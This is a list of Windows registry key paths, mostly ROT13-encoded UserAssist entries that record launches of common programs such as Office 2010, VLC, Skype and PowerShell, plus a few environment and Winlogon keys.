HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Fxlcr sbe Ohfvarff.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Jvaqbjf QIQ Znxre.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Jvaqbjf Snk naq Fpna.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Jvaqbjf Zrqvn Cynlre.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Jbeq.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\KCF Ivrjre.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\7-Mvc\7-Mvc Svyr Znantre.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Pnyphyngbe.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\qvfcynlfjvgpu.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Zngu Vachg Cnary.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Zbovyvgl Pragre.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\ArgjbexCebwrpgvba.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Cnvag.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Erzbgr Qrfxgbc Pbaarpgvba.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Favccvat Gbby.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Fbhaq Erpbeqre.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Fgvpxl Abgrf.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Flap Pragre.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Jrypbzr Pragre.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Jbeqcnq.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Npprffvovyvgl\Fcrrpu Erpbtavgvba.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Flfgrz Gbbyf\Punenpgre Znc.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Flfgrz Gbbyf\qsethv.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Flfgrz Gbbyf\Qvfx Pyrnahc.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Flfgrz Gbbyf\Erfbhepr Zbavgbe.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Flfgrz Gbbyf\Flfgrz Vasbezngvba.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Flfgrz Gbbyf\Flfgrz Erfgber.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Flfgrz Gbbyf\Gnfx Fpurqhyre.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Flfgrz Gbbyf\Jvaqbjf Rnfl Genafsre Ercbegf.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Flfgrz Gbbyf\Jvaqbjf Rnfl Genafsre.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Gnoyrg CP\FuncrPbyyrpgbe.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Gnoyrg CP\GnoGvc.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Jvaqbjf CbjreFuryy\Jvaqbjf CbjreFuryy (k86).yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Jvaqbjf CbjreFuryy\Jvaqbjf CbjreFuryy VFR (k86).yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Jvaqbjf CbjreFuryy\Jvaqbjf CbjreFuryy VFR.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Jvaqbjf CbjreFuryy\Jvaqbjf CbjreFuryy.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\NpgvirFgngr NpgvirClguba 2.7 (32-ovg)\Clguba Vagrenpgvir Furyy.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\NpgvirFgngr NpgvirClguba 2.7 (32-ovg)\Clguba Cnpxntr Znantre (ClCZ).yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Nqzvavfgengvir Gbbyf\Pbzcbarag Freivprf.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Nqzvavfgengvir Gbbyf\Pbzchgre Znantrzrag.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Nqzvavfgengvir Gbbyf\Qngn Fbheprf (BQOP).yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Nqzvavfgengvir Gbbyf\Rirag Ivrjre.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Nqzvavfgengvir Gbbyf\vFPFV Vavgvngbe.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Nqzvavfgengvir Gbbyf\Zrzbel Qvntabfgvpf Gbby.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Nqzvavfgengvir Gbbyf\Zvpebfbsg .ARG Senzrjbex 1.1 Pbasvthengvba.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Nqzvavfgengvir Gbbyf\Zvpebfbsg .ARG Senzrjbex 1.1 Jvmneqf.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Nqzvavfgengvir Gbbyf\Cresbeznapr Zbavgbe.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Nqzvavfgengvir Gbbyf\Cevag Znantrzrag.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Nqzvavfgengvir Gbbyf\Frphevgl Pbasvthengvba Znantrzrag.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Nqzvavfgengvir Gbbyf\freivprf.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Nqzvavfgengvir Gbbyf\Flfgrz Pbasvthengvba.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Nqzvavfgengvir Gbbyf\Gnfx Fpurqhyre.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Nqzvavfgengvir Gbbyf\Jvaqbjf Sverjnyy jvgu Nqinaprq Frphevgl.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\SvyrMvyyn SGC Pyvrag\SvyrMvyyn.yax
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ProgramFilesDir
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\CommonFilesDir
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ProgramFilesDir (x86)
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\CommonFilesDir (x86)
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ProgramW6432Dir
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\CommonW6432Dir
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Winlogon
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\ParseAutoexec
HKEY_CURRENT_USER\Environment
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\VesnaIvrj\VesnaIvrj - Guhzoanvyf.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\VesnaIvrj\VesnaIvrj 64 4.52.yax
HKEY_CURRENT_USER\Volatile Environment
HKEY_CURRENT_USER\Volatile Environment\1
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Znvagranapr\Perngr Erpbirel Qvfp.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Znvagranapr\Erzbgr Nffvfgnapr.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Zvpebfbsg Bssvpr\Zvpebfbsg Npprff 2010.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Zvpebfbsg Bssvpr\Zvpebfbsg Rkpry 2010.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Zvpebfbsg Bssvpr\Zvpebfbsg VasbCngu Qrfvtare 2010.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Zvpebfbsg Bssvpr\Zvpebfbsg VasbCngu Svyyre 2010.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Zvpebfbsg Bssvpr\Zvpebfbsg BarAbgr 2010.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Zvpebfbsg Bssvpr\Zvpebfbsg Bhgybbx 2010.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Zvpebfbsg Bssvpr\Zvpebfbsg CbjreCbvag 2010.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Zvpebfbsg Bssvpr\Zvpebfbsg Choyvfure 2010.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Zvpebfbsg Bssvpr\Zvpebfbsg FunerCbvag Jbexfcnpr 2010.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Zvpebfbsg Bssvpr\Zvpebfbsg Jbeq 2010.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Zvpebfbsg Bssvpr\Zvpebfbsg Bssvpr 2010 Gbbyf\Qvtvgny Pregvsvpngr sbe ION Cebwrpgf.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Zvpebfbsg Bssvpr\Zvpebfbsg Bssvpr 2010 Gbbyf\Zvpebfbsg Pyvc Betnavmre.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Zvpebfbsg Bssvpr\Zvpebfbsg Bssvpr 2010 Gbbyf\Zvpebfbsg Bssvpr 2010 Ynathntr Cersreraprf.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Zvpebfbsg Bssvpr\Zvpebfbsg Bssvpr 2010 Gbbyf\Zvpebfbsg Bssvpr 2010 Hcybnq Pragre.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Zvpebfbsg Bssvpr\Zvpebfbsg Bssvpr 2010 Gbbyf\Zvpebfbsg Bssvpr Cvpgher Znantre.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Zvpebfbsg Bssvpr Gbbyf\Qngnonfr Pbzcner.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Zvpebfbsg Bssvpr Gbbyf\Bssvpr Ynathntr Cersreraprf.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Zvpebfbsg Bssvpr Gbbyf\Bssvpr Hcybnq Pragre.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Zvpebfbsg Bssvpr Gbbyf\Fxlcr sbe Ohfvarff Erpbeqvat Znantre.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Zvpebfbsg Bssvpr Gbbyf\Fcernqfurrg Pbzcner.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Zvpebfbsg Bssvpr Gbbyf\Gryrzrgel Qnfuobneq sbe Bssvpr.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Zvpebfbsg Bssvpr Gbbyf\Gryrzrgel Ybt sbe Bssvpr.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Zvpebfbsg Fvyireyvtug\Zvpebfbsg Fvyireyvtug.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\FunerCbvag\Zvpebfbsg FunerCbvag Jbexfcnpr 2010.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Fxlcr\Fxlcr.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Fynpx Grpuabybtvrf\Fynpx.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Fcrppl\Fcrppl.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\IvqrbYNA\IYP zrqvn cynlre - erfrg cersreraprf naq pnpur svyrf.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\IvqrbYNA\IYP zrqvn cynlre fxvaarq.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\IvqrbYNA\IYP zrqvn cynlre.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\JvaENE\JvaENE.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\P:\Hfref\Ybhvfr\Qrfxgbc\Vagrearg Rkcybere.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\P:\Hfref\Choyvp\Qrfxgbc\Nqbor Ernqre KV.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\P:\Hfref\Choyvp\Qrfxgbc\Sversbk.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\P:\Hfref\Choyvp\Qrfxgbc\Tbbtyr Puebzr.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\P:\Hfref\Choyvp\Qrfxgbc\Zbmvyyn Guhaqreoveq.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\P:\Hfref\Choyvp\Qrfxgbc\Fxlcr.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{9R3995NO-1S9P-4S13-O827-48O24O6P7174}\GnfxOne\Nqbor Ernqre KV.yax
